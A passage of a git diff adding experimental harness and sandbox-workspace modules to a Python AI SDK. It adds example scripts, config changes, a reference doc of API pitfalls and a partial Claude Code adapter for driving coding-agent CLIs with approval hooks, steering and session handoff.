writes the key into requests on the way out, and every +harness opened on it is handed a placeholder. The key never enters the VM. +""" + +import asyncio + +from ai.harnesses import experimental as harnesses +from ai.workspaces import experimental as workspaces + + +async def main() -> None: + gw = workspaces.vercel_ai_gateway() # reads AI_GATEWAY_API_KEY + + async with workspaces.VercelSandbox(gateway=gw) as workspace: + await workspace.write_text( + "util.py", "def add(a, b):\n return a + b\n" + ) + + async with harnesses.claude_code(workspace=workspace) as agent: + print("running", agent.version, "in the sandbox") + result = await agent.run( + "Read util.py and describe the code in one line." + ) + print(result.text.strip()) + + async with harnesses.codex(workspace=workspace) as agent: + print("running", agent.version, "in the sandbox") + result = await agent.run( + "Read util.py and describe the code in one line." + ) + print(result.text.strip()) + + +asyncio.run(main()) diff --git a/examples/harnesses/steering.py b/examples/harnesses/steering.py new file mode 100644 index 00000000..6d43035d --- /dev/null +++ b/examples/harnesses/steering.py @@ -0,0 +1,52 @@ +"""Change an agent's mind while it is working. + +Steering is absorbed at the agent's next step — between tool calls, not +mid-sentence — so it redirects work in progress rather than interrupting a +single long answer. +""" + +import asyncio +import tempfile + +from ai.harnesses import experimental as harnesses +from ai.types import events +from ai.workspaces import experimental as workspaces + + +async def approve( + ctx: harnesses.ApprovalContext, +) -> harnesses.Decision: + return harnesses.Allow() + + +async def main() -> None: + with tempfile.TemporaryDirectory() as tmp: + async with harnesses.claude_code( + workspace=workspaces.Local(tmp), approve=approve + ) as agent: + session = agent.session() + turn = session.stream( + "Create files step1.txt through step40.txt, one at a time, " + + "each containing its own number." + ) + + steered = False + async for event in turn: + if isinstance(event, events.ToolStart) and not steered: + steered = True + print( + f"it started working ({event.tool_name}) — redirecting" + ) + await session.steer( + "Stop creating numbered files. Write the word STEERED " + + "into steered.txt instead, then finish." + ) + + # It took the new instruction. How much of the original plan it + # finished first depends on where its next step boundary fell. + print( + "steered.txt:", await agent.workspace.read_text("steered.txt") + ) + + +asyncio.run(main()) diff --git a/examples/harnesses/streaming.py b/examples/harnesses/streaming.py new file mode 100644 index 00000000..6f32f749 --- /dev/null +++ b/examples/harnesses/streaming.py @@ -0,0 +1,71 @@ +"""Watch a turn as it happens, and pick up each piece the moment it is whole. + +A turn streams AI SDK events. You never reassemble them yourself: every +event's `.message` is the assistant message accumulated so far, and a +`ToolEnd` carries the complete call. Print deltas as they arrive for a +live feel; act on the *End events when you need the finished thing. +""" + +import asyncio +import json +import tempfile + +from ai.harnesses import experimental as harnesses +from ai.types import events, messages +from ai.workspaces import experimental as workspaces + + +async def main() -> None: + with tempfile.TemporaryDirectory() as tmp: + async with harnesses.claude_code( + workspace=workspaces.Local(tmp) + ) as agent: + session = agent.session() + turn = session.stream( + "Write the word HELLO into greeting.txt, then read it back " + + "and reply with what it contains." + ) + + async for event in turn: + if isinstance(event, events.TextDelta): + # Live output: print text as it is generated. + print(event.chunk, end="", flush=True) + + elif isinstance(event, events.TextEnd): + # The whole paragraph, already assembled on the message. + part = next( + p + for p in event.message.parts + if isinstance(p, messages.TextPart) + and p.id == event.block_id + ) + print(f"\n[text done: {len(part.text)} chars]") + + elif isinstance(event, events.ToolEnd): + # The complete call: native name, arguments as a JSON + # string. + args = json.loads(event.tool_call.tool_args) + print(f"[tool call] {event.tool_call.tool_name}({args})") + + elif isinstance(event, events.ToolCallResult): + # What the tool returned, as its own role="tool" message. + for tool_result in event.results: + print( + f"[tool result] {tool_result.tool_name or '?'}: " + f"{str(tool_result.result)[:80]}" + ) + + elif isinstance(event, events.StreamEnd): + print(f"[turn over] finish={event.finish_reason}") + + # Everything above is also on the settled result. + result = turn.result + print(f"\nresult.text: {result.text.strip()!r}") + print( + f"tokens: {result.usage.input_tokens} in / " + f"{result.usage.output_tokens} out" + ) + print(f"messages in history: {len(result.messages)}") + + +asyncio.run(main()) diff --git a/examples/harnesses/take_over.py b/examples/harnesses/take_over.py new file mode 100644 index 00000000..ea5b1416 --- /dev/null +++ b/examples/harnesses/take_over.py @@ -0,0 +1,36 @@ +"""Pick up a conversation you did not start. + +Sessions belong to the harness, not to this process — including ones you +started in your own terminal. If that terminal session is still open, its +TUI holds no SDK claim, so `resume` would make two writers: `fork` it instead +(same history, a conversation of your own). Another SDK client's open +conversation is different — `resume` refuses it with `SessionBusyError`. +""" + +import asyncio + +from ai.harnesses import experimental as harnesses +from ai.workspaces import experimental as workspaces + + +async def main() -> None: + async with harnesses.claude_code(workspace=workspaces.Local(".")) as agent: + for info in (await agent.sessions())[:5]: + print(f"{info.session_id} {info.title or ''}"[:90]) + + sessions = await agent.sessions() + if not sessions: + print("no conversations in this directory yet") + return + + # Read one without touching it. + messages = await agent.history(sessions[0].session_id) + print(f"\n{len(messages)} messages in the most recent conversation") + + # Branch it, so whoever else has it open is unaffected. + branch = await agent.fork(sessions[0].session_id) + answer = await branch.run("In one sentence: what were we doing?") + print(answer.text) + + +asyncio.run(main()) diff --git a/examples/harnesses/tool_approval.py b/examples/harnesses/tool_approval.py new file mode 100644 index 00000000..91a1e9bb --- /dev/null +++ b/examples/harnesses/tool_approval.py @@ -0,0 +1,39 @@ +"""Decide what the agent is allowed to do, in your own code. + +Without a hook every tool call runs: nobody is at a terminal to answer. +With one, it asks you — and a denial's reason is delivered to the agent. +""" + +import asyncio +import tempfile + +from ai.harnesses import experimental as harnesses +from ai.workspaces import experimental as workspaces + + +async def approve( + ctx: harnesses.ApprovalContext, +) -> harnesses.Decision: + print(f" [asking] {ctx.call.name} {ctx.call.input}") + target = ctx.call.input.get("file_path", "") + if target and not ctx.workspace.contains(target): + return harnesses.Deny("that path is outside the workspace") + return harnesses.Allow() + + +async def main() -> None: + with tempfile.TemporaryDirectory() as tmp: + async with harnesses.claude_code( + workspace=workspaces.Local(tmp), approve=approve + ) as agent: + result = await agent.run( + "Write the word HELLO into greeting.txt, then reply DONE." + ) + print(result.text) + print( + "greeting.txt says:", + await agent.workspace.read_text("greeting.txt"), + ) + + +asyncio.run(main()) diff --git a/examples/harnesses/tui.py b/examples/harnesses/tui.py new file mode 100644 index 00000000..50ac6480 --- /dev/null +++ b/examples/harnesses/tui.py @@ -0,0 +1,100 @@ +"""Open a harness's own TUI in a sandbox, work in it, detach, come back. + +Two ends of one wire: your terminal here +(`ai.workspaces.experimental.tty`), and the pseudo-terminal the TUI runs on +in the workspace (`Harness.tui()` -> `Pty`). Press Ctrl-] to detach: the +TUI keeps running because it has a NAME, and `workspace.attach(name)` picks +it up again — from this process or any other. `tui()` returns a `Tui`: the +conversation's `session_id` and `handle` to save, and the `pty` your +terminal attaches to. Run with a real terminal; the bridge needs one. + + python examples/harnesses/tui.py # claude, in a sandbox + python examples/harnesses/tui.py codex # codex, in a sandbox + python examples/harnesses/tui.py codex # reattach later + # push a conversation from this directory into it: + PUSH_FROM= python examples/harnesses/tui.py claude + +Credentials, from your environment: AI_GATEWAY_API_KEY for the model (the +Vercel AI Gateway, via `vercel_ai_gateway()`), and the sandbox's own — +VERCEL_OIDC_TOKEN, or VERCEL_TOKEN with VERCEL_TEAM_ID and VERCEL_PROJECT_ID. +`vercel env pull .env.local` writes them; the OIDC token is short-lived, and a +403 on sandbox creation usually means it needs pulling again: + + set -a; . ./.env.local; set +a +""" + +import asyncio +import os +import sys + +from ai.harnesses import experimental as harnesses +from ai.workspaces import experimental as workspaces +from ai.workspaces.experimental import tty + +NAME = "demo-tui" +HARNESSES = {"claude": harnesses.claude_code, "codex": harnesses.codex} + + +async def main() -> None: + gw = workspaces.vercel_ai_gateway() + kind = ( + sys.argv[1] + if len(sys.argv) > 1 and sys.argv[1] in HARNESSES + else "claude" + ) + if len(sys.argv) > 2: + # Come back: reconnect to the sandbox by name and reattach the TUI. + async with workspaces.VercelSandbox(name=sys.argv[2]) as workspace: + print( + "[*] ptys still running here:", + [ + (p.name, "attached" if p.attached else "free") + for p in await workspace.ptys() + ], + ) + status = await tty.bridge(await workspace.attach(NAME)) + print( + "[*] detached again" + if status is None + else f"[*] the TUI exited with {status}" + ) + return + + async with workspaces.VercelSandbox(keep=True, gateway=gw) as workspace: + agent = HARNESSES[kind](workspace=workspace) + await agent.open() + history = None + if os.environ.get("PUSH_FROM"): + # A conversation from THIS directory, continued in the sandbox TUI: + # `history` means the same on tui() as on session(). + async with HARNESSES[kind](workspace=workspaces.Local(".")) as here: + history = await here.history(os.environ["PUSH_FROM"]) + tui = await agent.tui( + history=history, name=NAME + ) # in the harness's own TUI + print( + "[*] conversation " + f"{tui.session_id or '(codex mints its id on the first turn)'}; " + "Ctrl-] detaches and leaves it running", + flush=True, + ) + status = await tty.bridge(tui.pty) + if status is None: + # Let go of the harness too, leaving it running: its reader stops + # here instead of holding the workspace's close for its timeouts. + await agent.detach() + print( + f"[*] detached. Come back with: python {sys.argv[0]} {kind} " + f"{workspace.name}" + ) + else: + await tui.close() + await agent.close() + print(f"[*] the TUI exited with {status}; stopping the sandbox") + async with workspaces.VercelSandbox( + name=workspace.name, keep=False + ): + pass + + +asyncio.run(main()) diff --git a/pyproject.toml b/pyproject.toml index 02ba10fe..faa31b21 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -35,8 +35,14 @@ dependencies = [ [project.optional-dependencies] anthropic = ["anthropic>=0.83.0,<2.0.0"] +# the ceiling guards the private claude_agent_sdk imports in +# ai.harnesses.experimental._adapters.remote_cli +claude-code = ["claude-agent-sdk>=0.2.144,<0.3"] mcp = ["mcp>=2.0.0,<3.0.0"] openai = ["openai>=2.34.0,<4.0.0"] +# TODO(vercel-py#415): set the floor to the first release that includes it. +# Until then the dev group pins the tested commit from git. +sandbox = ["vercel-sandbox"] otel = [ "opentelemetry-exporter-otlp-proto-http>=1.30", "opentelemetry-sdk>=1.30", @@ -66,6 +72,7 @@ bump = true [dependency-groups] dev = [ "anthropic>=0.83.0", + "claude-agent-sdk>=0.2.144,<0.3", "mcp>=2.0.0,<3.0.0", "python-dotenv>=1.2.1", "pytest>=8.0", @@ -79,6 +86,11 @@ dev = [ "vercel-oidc>=0.8.0", "opentelemetry-sdk>=1.43.0", "opentelemetry-exporter-otlp-proto-http>=1.43.0", + # vercel/vercel-py#415 (interactive PTY) is unreleased; this is the + # commit harness-sdk's live sandbox suite ran against. Moving it needs a + # `pytest -m sandbox` run. + "vercel-sandbox @ git+https://github.com/vercel/vercel-py@ec07c8602d533067d7a9e6c400560659e65c6c50#subdirectory=src/vercel-sandbox", + "pytest-timeout>=2.3", ] [tool.uv] @@ -110,6 +122,16 @@ exclude = [ [tool.pytest.ini_options] asyncio_mode = "auto" testpaths = ["tests"] +# Live harness tests drive real agent CLIs and sandboxes, so they are opt-in: +# `uv run pytest -m live tests/harnesses` (a later -m overrides this one). +addopts = "-m 'not live and not sandbox'" +# The harness live suite drives real agents; hanging must be a failure. +timeout = 300 +markers = [ + "live: drives a real local harness installation (deselect with -m 'not live')", + "sandbox: needs Vercel Sandbox credentials (deselect with -m 'not sandbox')", + "slow: multi-turn or multi-process; minutes, not seconds", +] filterwarnings = [ "ignore:'asyncio\\.DefaultEventLoopPolicy' is deprecated.*:DeprecationWarning:async_solipsism\\.loop", ] @@ -170,6 +192,11 @@ extend-ignore = [ "RUF029", # async generators/protocol hooks may not need an await ] +[tool.ruff.lint.flake8-type-checking] +# pydantic evaluates field annotations at runtime, so their imports must stay +# real even under `from __future__ import annotations` +runtime-evaluated-base-classes = ["pydantic.BaseModel"] + [tool.ruff.lint.per-file-ignores] "examples/**/*.py" = [ "D", # examples are executable samples, not public API diff --git a/skills/ai/SKILL.md b/skills/ai/SKILL.md index 265bc4ab..9c9e2c91 100644 --- a/skills/ai/SKILL.md +++ b/skills/ai/SKILL.md @@ -1,6 +1,6 @@ --- name: ai -description: AI SDK for Python (the `ai` package). Use for Python model calls (LLMs, image, video, speech, embedding, transcription, reranking, or evaluation), agents, model interaction tests, tool calling, subagents, approvals, durable execution, telemetry, AI SDK UI backends, and custom providers. +description: AI SDK for Python (the `ai` package). Use for Python model calls (LLMs, image, video, speech, embedding, transcription, reranking, or evaluation), agents, model interaction tests, tool calling, subagents, approvals, durable execution, telemetry, AI SDK UI backends, custom providers, driving coding-agent CLIs (Claude Code, Codex), and sandboxes. metadata: sdk-version: "0.5.0" --- @@ -84,5 +84,7 @@ read the listed local notes before writing code. | Telemetry and tracing | `basics/telemetry.md` | — | | AI SDK UI backends | `basics/ai-sdk-ui.md` | [ui.md](references/ui.md) | | Custom providers | `basics/providers.md` | [custom-provider.md](references/custom-provider.md) | +| Drive Claude Code / Codex CLIs | `basics/harnesses.md` | [harnesses.md](references/harnesses.md) | +| Run agents in a sandbox | `basics/workspaces.md` | [harnesses.md](references/harnesses.md) | For exact APIs, use `reference.md` and the relevant `reference/*.md` page. diff --git a/skills/ai/references/harnesses.md b/skills/ai/references/harnesses.md new file mode 100644 index 00000000..795348dd --- /dev/null +++ b/skills/ai/references/harnesses.md @@ -0,0 +1,130 @@ +# Harnesses and workspaces: traps + +Read `https://ai-python.dev/docs/basics/harnesses.md` and +`https://ai-python.dev/docs/basics/workspaces.md` first. Both APIs are +experimental. Import them as module aliases: + +```python +from ai.harnesses import experimental as harnesses +from ai.workspaces import experimental as workspaces +``` + +A harness drives a CLI (`claude`, `codex`). It is not `ai.Agent`: there is no +`ai.get_model`, and Python `@ai.tool` functions do not reach it. The CLI +brings its own tools, login, and session store. + +## Setup + +- `claude_code()` needs `ai[claude-code]`; `VercelSandbox` needs + `ai[sandbox]` with a `vercel-sandbox` build that has interactive PTY + support (vercel/vercel-py#415, unreleased). Both raise + `ai.errors.InstallationError` at construction. `codex()` needs only the + `codex` binary. +- On `Local`, a missing CLI raises `ExecutableMissingError`. The SDK installs + CLIs only into a sandbox. +- Locally codex defaults to `sandbox="read-only"`, and in that mode it + declines writes without trying. Pass `sandbox="workspace-write"` when it + must edit files. In a sandbox leave it unset: other modes raise + `UnsupportedError`, because codex's own sandbox cannot start in the VM. +- Open one harness per workspace and reuse it for many sessions. The CLI + processes live as long as the `async with`. +- A harness opens its workspace but never closes it. Use `async with` on the + workspace too, or a created sandbox runs until its time limit. + +## Sessions and turns + +- `agent.session()` has `session_id == ""` until its first turn. Save + `session.handle` after a turn, not before. +- A `VercelSandbox` has no `coords` until it is open, so neither does a + handle from it. +- `result.text` is only the text after the last tool call. Narration stays in + `result.messages`. Use `output_type=` when you need to parse the answer. +- `run(..., timeout=)` and `session.stop()` return a `Result` with + `finish_reason == "cancelled"`. They do not raise, except that with + `output_type=` a cancelled reply that does not validate raises + `ValidationError`. +- To end a stream early, `await session.stop()` then `break`. A bare `break` + leaves the turn running; the next `session.run()` settles it, but a new + `session.stream()` waits until you call `await session.reclaim()`. +- `steer` and `stop` live on the session, never the turn. Whether a steer + interrupts work already in flight depends on the CLI; only rely on it being + obeyed before the turn ends. +- `ToolCallPart.tool_args` is a JSON string. Act on `ToolEnd` for complete + calls. Codex tool calls are named by item kind (`commandExecution`, + `fileChange`), never by command line; the command is in `tool_args`. + +## Approvals + +- No `approve=` hook means every tool call is allowed, not "ask the user". + Pass a hook to restrict. +- The hook is a gate, not an audit log (`capabilities.approval == + "policy"`). Read-only tools never reach it. Read the event stream to see + every call. +- `ctx.call.name` and `ctx.call.input` are native. Claude uses `Bash`, + `Write`, `Edit` with `file_path`. Codex uses `commandExecution` (the + command is a string, often wrapped in `/bin/bash -lc`) and `fileChange`. + In a sandbox codex often writes files through the shell. A hook for both + harnesses must handle both dialects. Do not parse shell to judge + containment; use `ctx.workspace.contains(path)` on absolute paths. +- `harnesses.Deny("reason")` and `Deny(reason="reason")` are the same. +- On codex (`deny_reason=False`) the reason never reaches the agent. + `Allow(input=...)` works only on Claude. `Allow(remember=True)` works on + neither. Unsupported options raise `UnsupportedError` from the turn. +- A hook that raises or exceeds `approval_timeout` (300s) denies the call and + is listed in `result.approval_errors`. +- Never call session methods from inside the hook; the agent is blocked + waiting on it. +- A detached agent with a hook stops at its next tool call until a client + reconnects. For unattended work, run without a hook. + +## Resume, fork, handoff + +- One writer per conversation. `resume()` or `harness_from(handle)` on a + conversation another SDK client holds (including one you `detach()`ed) + raises `SessionBusyError`. Catch it and retry with `fork=True`, or + `agent.fork(session_id)`. +- A person's open terminal TUI holds no claim. Fork conversations you did not + start. +- A `Handle` never holds the hook or the gateway. Pass `approve=` and + `gateway=` to `harness_from` again. The SDK keeps no registry; store handles + yourself. +- `history=` handoff keeps paths from the source machine. `copy` the files and + tell the agent where they are. Reasoning is dropped going into Claude, with + a warning. + +## Sandbox + +- A CLI authenticates where it runs; your terminal login is not in the VM. + Give the workspace a gateway: `VercelSandbox(gateway=vercel_ai_gateway())`. + The VM only holds a placeholder key. +- `vercel_ai_gateway()` reads `AI_GATEWAY_API_KEY` from the process + environment only. `VercelSandbox` reads only Vercel credentials + (`VERCEL_OIDC_TOKEN`, `VERCEL_TOKEN`, `VERCEL_TEAM_ID`, + `VERCEL_PROJECT_ID`) from `.env.local`. Other variables stay local unless + passed in `env=` or `forward_project_env=True`. +- `VERCEL_OIDC_TOKEN` is short-lived; expiry raises `NotAuthenticatedError`. + Run `vercel env pull` again. +- With a gateway, outbound traffic is an allowlist fixed at creation. Add + hosts (package indexes, APIs) with `allow_hosts=[...]` up front. + Reconnecting with `gateway=` to a VM made without one raises + `WorkspaceError`. +- Every `exec`, `read_text`, `write_text`, and `exists` is a network round + trip. Do not check `exists` before `read_text` (it raises + `FileNotFoundError`). Move trees with `copy()`, which batches. +- Never use `pathlib` for workspace files. Use `read_text`, `write_text`, + `exec`, and `copy`. +- The default VM lifetime is short. Set `execution_time_limit=` in seconds. +- `keep=True` keeps a VM you created. A VM reopened by `name=` stays running + unless `keep=False`. To stop one: + `async with workspaces.VercelSandbox(name=name, keep=False): pass`. +- Forget a saved sandbox only on `WorkspaceGoneError`. Other + `WorkspaceError`s may mean it is still running. + +## TUI + +- `from ai.workspaces.experimental import tty` is explicit and POSIX only. + `tty.bridge` needs a real terminal on stdin. +- Give `tui()` a `name` to survive detach (Ctrl-]). Reattach with + `workspace.attach(name)`. +- A bare `tui()` on codex has `session_id is None` (and no `handle`): codex + picks its own id. Find it afterwards with `agent.sessions()`. diff --git a/src/ai/__init__.py b/src/ai/__init__.py index 171b6cdd..7b644ef4 100644 --- a/src/ai/__init__.py +++ b/src/ai/__init__.py @@ -1,12 +1,14 @@ from . import ( errors, experimental_telemetry, + harnesses, models, ops, providers, testing, ui, util, + workspaces, ) from .agents import ( Agent, @@ -203,6 +205,7 @@ "get_hook_registry", "get_model", "get_provider", + "harnesses", "hook", "mcp", "message", @@ -225,5 +228,6 @@ "ui", "user_message", "util", + "workspaces", "yield_from", ] diff --git a/src/ai/harnesses/__init__.py b/src/ai/harnesses/__init__.py new file mode 100644 index 00000000..18d7c128 --- /dev/null +++ b/src/ai/harnesses/__init__.py @@ -0,0 +1,5 @@ +"""Coding-agent harnesses.""" + +from . import experimental + +__all__ = ["experimental"] diff --git a/src/ai/harnesses/experimental/__init__.py b/src/ai/harnesses/experimental/__init__.py new file mode 100644 index 00000000..0df06216 --- /dev/null +++ b/src/ai/harnesses/experimental/__init__.py @@ -0,0 +1,41 @@ +"""Drive coding-agent CLIs you don't own: Claude Code and Codex. + +Experimental: not part of the stable API, may change or be removed. + + from ai.harnesses import experimental as harnesses + from ai.workspaces import experimental as workspaces + + async with harnesses.claude_code(workspace=workspaces.Local(".")) as agent: + result = await agent.run("What does this repo do?") +""" + +from . import errors +from ._approval import Allow, ApprovalContext, Decision, Deny, ToolCall +from ._capabilities import ApprovalCoverage, Capabilities +from ._factories import claude_code, codex, harness_from, workspace_from +from ._handle import Handle +from ._harness import Harness +from ._result import Result +from ._session import Session, SessionInfo, Tui, Turn + +__all__ = [ + "Allow", + "ApprovalContext", + "ApprovalCoverage", + "Capabilities", + "Decision", + "Deny", + "Handle", + "Harness", + "Result", + "Session", + "SessionInfo", + "ToolCall", + "Tui", + "Turn", + "claude_code", + "codex", + "errors", + "harness_from", + "workspace_from", +] diff --git a/src/ai/harnesses/experimental/_adapters/__init__.py b/src/ai/harnesses/experimental/_adapters/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/src/ai/harnesses/experimental/_adapters/base.py b/src/ai/harnesses/experimental/_adapters/base.py new file mode 100644 index 00000000..5e123ef5 --- /dev/null +++ b/src/ai/harnesses/experimental/_adapters/base.py @@ -0,0 +1,176 @@ +"""The adapter seam: what a harness must provide, and nothing more. + +An adapter yields a stream of AI SDK events that ENDS with a StreamEnd. +That single shape is why there is no dual awaitable/iterable turn object, +no subscriber queues, and no sentinels: `run()` drains the stream, +`stream()` forwards it, and both are the same code path. + +Adapters never spawn processes themselves. They ask the workspace, which is +the only reason the same adapter drives a CLI here or inside a microVM. +""" + +from __future__ import annotations + +from collections.abc import AsyncIterator, Awaitable, Callable +from typing import TYPE_CHECKING, Any, Protocol + +from .. import _approval, _capabilities + +if TYPE_CHECKING: + from ....types import events, messages + from ....workspaces.experimental import _base + +ApprovalHook = Callable[ + [_approval.ApprovalContext], Awaitable[_approval.Decision] +] + + +class Adapter(Protocol): + """One harness, driven natively.""" + + kind: str + capabilities: _capabilities.Capabilities + + @property + def version(self) -> str | None: + """Whatever the CLI reported when it was probed.""" + ... + + async def start( + self, workspace: _base.Workspace, options: dict[str, Any] + ) -> None: + """Probe the executable and prepare to work. + + Raises ExecutableMissingError when the binary is not runnable in the + workspace. + """ + ... + + async def close(self) -> None: ... + + async def detach(self) -> None: + """Release without terminating. + + For workspaces that can outlive the client. Defaults to close() for + harnesses that cannot survive. + """ + await self.close() + + @property + def process_ids(self) -> list[int]: + """OS pids this adapter owns, for teardown assertions. + + Empty when the processes live somewhere this machine cannot signal. + """ + ... + + async def new_session( + self, history: list[messages.Message] | None = None + ) -> str: + """Create a conversation. + + With `history`, the harness stores those messages natively first, so the + agent begins with that context. + """ + ... + + async def stage_history(self, history: list[messages.Message]) -> str: + """Store a conversation with this past, and return its id. + + NOTHING runs on it. What `session(history=)` does before it connects, + and what `tui(history=)` needs alone. + """ + ... + + async def resume_session(self, session_id: str) -> None: ... + + async def close_session(self, session_id: str) -> None: ... + + def turn( + self, session_id: str, prompt: str + ) -> AsyncIterator[events.AgentEvent]: + """Drive one turn, yielding AI SDK events and ending with StreamEnd.""" + ... + + async def prepare_tui(self) -> None: + """Make a PROVIDER-OWNED workspace ready for the interactive CLI. + + First-run onboarding done, provider config on disk, so a fresh sandbox's + TUI opens on a prompt instead of a setup screen. Never touches a user's + own machine. Default: nothing to do. + """ + + def tui_launch( + self, session_id: str | None + ) -> tuple[list[str], dict[str, str], str | None]: + """Return the interactive command, its env, and its session id. + + The command is for a new conversation or an existing one; the env is + what it needs (credentials, TERM); the session id is minted here for a + new conversation when the CLI lets us choose it (claude), None when the + CLI mints its own (codex). + """ + raise NotImplementedError + + async def record_tui_pid(self, session_id: str, pid: int | None) -> None: + """Point the conversation's lock at the TUI process. + + Liveness is then judged by the program that actually holds it. + """ + + async def claim_new_session(self, session_id: str) -> None: + """Lock a new TUI conversation whose id we minted. + + It then shows as running and refuses a second writer. + """ + + async def release_tui_lock(self, session_id: str) -> None: + """Release the claim a TUI conversation held, once its TUI ended.""" + + async def resume_session_lock(self, session_id: str) -> None: + """Claim an EXISTING conversation before opening its TUI on it. + + One writer, whichever way it is driven. + """ + + async def running_sessions(self) -> set[str]: + """Conversations a client currently holds open (see session_lock).""" + return set() + + async def list_sessions(self) -> list[Any]: + """Conversations the harness has in this workspace.""" + ... + + # Set by the harness when it opens, so the adapter can call them. + approve: ApprovalHook | None + approval_timeout: float + on_approval_error: Any + + live_history: Any + """Set by the harness: the live transcript of a session, for the approval + hook. Distinct from `history()`, which reads the STORED record.""" + + async def history( + self, session_id: str, *, limit: int | None = None, offset: int = 0 + ) -> list[Any]: + """Return a stored transcript as AI SDK messages. + + The SAME type as `session.messages`, and always the full record. + """ + ... + + async def fork(self, session_id: str) -> str: + """Branch a conversation; return the new session id.""" + ... + + async def steer(self, session_id: str, text: str) -> None: + """Inject a message into the RUNNING turn. + + As soon as the harness will take it. Raises UnsupportedError where there + is no such channel. + """ + ... + + async def stop(self, session_id: str) -> None: + """Graceful interrupt. The harness keeps its transcript.""" + ... diff --git a/src/ai/harnesses/experimental/_adapters/claude.py b/src/ai/harnesses/experimental/_adapters/claude.py new file mode 100644 index 00000000..6dd357c4 --- /dev/null +++ b/src/ai/harnesses/experimental/_adapters/claude.py @@ -0,0 +1,1002 @@ +"""Claude Code, driven through claude-agent-sdk. + +Identity rule kept from v1 because it earned it: the session id we hand the +CLI IS its own session id, so `claude --resume ` works on it — in this +SDK or in the CLI's own UI — with no adapter-side registry. + +Everything here is verified against a real `claude` CLI by the live tests; the +comments record what was MEASURED, not what the API suggested. +""" + +from __future__ import annotations + +import asyncio +import contextlib +import json +import uuid +import warnings +from typing import TYPE_CHECKING, Any, cast + +import claude_agent_sdk + +from ....types import events as events_ +from ....types import messages as messages_ +from ....types import usage as usage_ +from ....workspaces.experimental import _base, _gateway +from ....workspaces.experimental import errors as workspace_errors +from .. import ( + _approval, + _capabilities, + _handoff, + _session, + _session_lock, + errors, +) +from . import base, claude_store, remote_cli + +if TYPE_CHECKING: + from collections.abc import AsyncIterator + +KIND = "claude-code" +INSTALL = "npm install -g @anthropic-ai/claude-code" + +# Claude routes permission-worthy tool calls through can_use_tool. Read-only +# tools never reach it — verified by running with setting_sources=[] so no +# user config was loaded, and Read still did not appear. That is the CLI's +# own policy, so coverage is "policy", not "all". +CAPABILITIES = _capabilities.Capabilities( + steer=True, + stop=True, + resume=True, + fork=True, + history=True, + rewrite_tool_input=True, + deny_reason=True, + images=True, + approval="policy", +) + + +class ClaudeAdapter: + kind = KIND + capabilities = CAPABILITIES + + def __init__( + self, + executable: str = "claude", + model: str | None = None, + gateway: _gateway.Gateway | None = None, + effort: str | None = None, + ) -> None: + self._executable = executable + self._model = model + self._gateway = gateway + self._gateway_env: dict[str, str] = gateway_env(gateway) + self._effort = effort + # The CLI's session store, read through the workspace when the CLI + # runs somewhere other than this machine. None on Local: there the + # SDK's own disk readers are exactly right. + self._store: claude_store.WorkspaceSessionStore | None = None + self._lock: _session_lock.SessionLock | None = None + self._held: set[str] = set() + self._version: str | None = None + self._workspace: _base.Workspace | None = None + self._clients: dict[str, Any] = {} + self._contexts: dict[str, dict[str, Any]] = {} + # Sessions whose turn WE interrupted. The CLI reports an error + # result after an interrupt, and a stop the caller asked for must + # settle as cancelled rather than raise as a failure. + self._interrupted: set[str] = set() + # See codex: an error raised inside the permission callback cannot + # reach the caller, so it is parked and re-raised on the turn. + self._pending_error: BaseException | None = None + self.approve: base.ApprovalHook | None = None + self.approval_timeout: float = 300.0 + self.on_approval_error: Any = None + # Set by the harness: the session's LIVE transcript, so the approval + # hook reads the same history the caller does. Distinct from + # history(), which reads the harness's STORED record. + self.live_history: Any = lambda session_id: [] + + @property + def version(self) -> str | None: + return self._version + + @property + def process_ids(self) -> list[int]: + """Return the CLI's pids, best effort. + + claude-agent-sdk owns the CLI process and exposes no public pid, so this + reads the transport's private handle. It returns [] rather than guessing + if that ever changes shape — callers must treat an empty list as "not + observable", not as "no processes". + """ + pids: list[int] = [] + for client in self._clients.values(): + proc = getattr( + getattr(client, "_transport", None), "_process", None + ) + pid = getattr(proc, "pid", None) + if isinstance(pid, int): + pids.append(pid) + return pids + + async def start( + self, workspace: _base.Workspace, options: dict[str, Any] + ) -> None: + if workspace.kind != "local" and not workspace.duplex_spawn: + # claude-agent-sdk spawns the CLI itself and only accepts a cwd. + # Off this machine we supply our own transport instead — but + # that needs a process we can write to. + raise errors.UnsupportedError( + KIND, + f"{workspace.kind} workspaces", + "the CLI speaks newline-delimited JSON on stdin, which this " + + "workspace cannot provide", + ) + # An explicit gateway wins; otherwise the workspace's. Either way, + # where the workspace injects the credential at egress the CLI is + # handed the placeholder: the key stays on the host that built the + # firewall rule. The env it produces is this adapter's own dialect. + gateway = self._gateway or workspace.gateway + if gateway is not None and workspace.injects_credentials_for( + gateway.host + ): + gateway = gateway.brokered() + self._gateway = gateway + self._gateway_env = gateway_env(gateway) + probe = await self._probe(workspace) + if probe.exit_code != 0 and workspace.owner == "provider": + # Ours to provision. Never on a user's own machine. + await workspace.exec(["sh", "-c", INSTALL], timeout=600) + probe = await self._probe(workspace) + if workspace.kind != "local": + self._store = await claude_store.WorkspaceSessionStore.discover( + workspace + ) + if probe.exit_code != 0: + raise errors.ExecutableMissingError(KIND, self._executable, INSTALL) + self._version = probe.stdout.strip().splitlines()[0] or None + self._workspace = workspace + self._lock = _session_lock.SessionLock(workspace, KIND) + + async def _probe(self, workspace: _base.Workspace) -> _base.ExecResult: + return await workspace.exec([self._executable, "--version"], timeout=60) + + async def close(self) -> None: + for session_id in list(self._clients): + await self.close_session(session_id) + + async def detach(self) -> None: + """Let go of every session without terminating the CLIs. + + `client.disconnect()` terminates the transport's process; detach must + not. It drops the conduit through the transport and forgets the + client, leaving the remote CLI running for a later reconnect. + """ + for session_id, client in list(self._clients.items()): + transport = getattr(client, "_transport", None) + if transport is not None and hasattr(transport, "release_on_close"): + # Through the client's own disconnect(): that is what stops + # its reader task. Dropping the client without it left a + # reader iterating the process's stdout forever, and the + # workspace's close() then hung on that stream (measured: + # a 300s teardown timeout). The transport now releases + # instead of terminating when disconnect() closes it. + transport.release_on_close() + with contextlib.suppress(Exception): + async with asyncio.timeout(30): + await client.disconnect() + self._clients.pop(session_id, None) + self._contexts.pop(session_id, None) + + # -- sessions ------------------------------------------------------------- + + async def stage_history(self, history: list[messages_.Message]) -> str: + """Write the past into the CLI's own store, and start nothing. + + Wherever the CLI runs — the store class reads and writes through the + workspace — under a fresh id. A resume of that id, headless or in the + TUI, then begins with this context. + """ + assert self._workspace is not None + session_id = str(uuid.uuid4()) + 